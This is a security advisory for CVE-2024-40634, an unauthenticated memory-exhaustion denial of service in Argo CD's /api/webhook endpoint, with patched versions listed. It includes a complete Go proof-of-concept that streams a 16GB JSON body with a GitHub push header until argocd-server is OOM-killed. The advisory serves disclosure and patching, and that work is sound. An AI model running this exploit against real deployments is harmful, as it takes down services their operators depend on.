CVE-2024-40634: Argo CD Unauthenticated Denial of Service (DoS) Vulnerability via /api/webhook Endpoint

Summary This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.

Details The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.

The fix would be to enforce a limit on the size of the request being parsed.

PoC Port-forward to the argocd-server service, like so:

console kubectl port-forward svc/argocd-server -n argocd 8080:443

Run the below code:

go package main

import ( "crypto/tls" "io" "net/http" )

// Define a custom io.Reader that generates a large dummy JSON payload. type DummyJSONReader struct { size int64 // Total size to generate read int64 // Bytes already generated }

// Read generates the next chunk of the dummy JSON payload. func (r DummyJSONReader) Read(p []byte) (n int, err error) { if r.read >= r.size { return 0, io.EOF // Finished generating }

start := false if r.read == 0 { // Start of JSON p[0] = '{' p[1] = '"' p[2] = 'd' p[3] = 'a' p[4] = 't' p[5] = 'a' p[6] = '"' p[7] = ':' p[8] = '"' n = 9 start = true }

for i := n; i < len(p); i++ { if r.read+int64(i)-int64(n)+1 == r.size-1 { // End of JSON p[i] = '"' p[i+1] = '}' r.read += int64(i) + 2 - int64(n) return i + 2 - n, nil } else { p[i] = 'x' // Dummy data } }

r.read += int64(len(p)) - int64(n) if start { return len(p), nil } return len(p) - n, nil }

func main() { // Initialize the custom reader with the desired size (16GB in this case). payloadSize := int64(16) 1024 1024 1024 // 16GB reader := &DummyJSONReader{size: payloadSize}

// HTTP client setup httpClient := &http.Client{ Timeout: 0, // No timeout Transport: &http.Transport{ TLSClientConfig: &tls.Config{InsecureSkipVerify: true}, }, }

req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader) if err != nil { panic(err) }

// Set headers req.Header.Set("Content-Type", "application/json") req.Header.Set("X-GitHub-Event", "push")

resp, err := httpClient.Do(req) if err != nil { panic(err) } defer resp.Body.Close()

println("Response status code:", resp.StatusCode) }

Patches A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.6 v2.10.15 v2.9.20

For more information If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions Join us on Slack in channel #argo-cd

Credits This vulnerability was found & reported by Jakub Ciolek

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue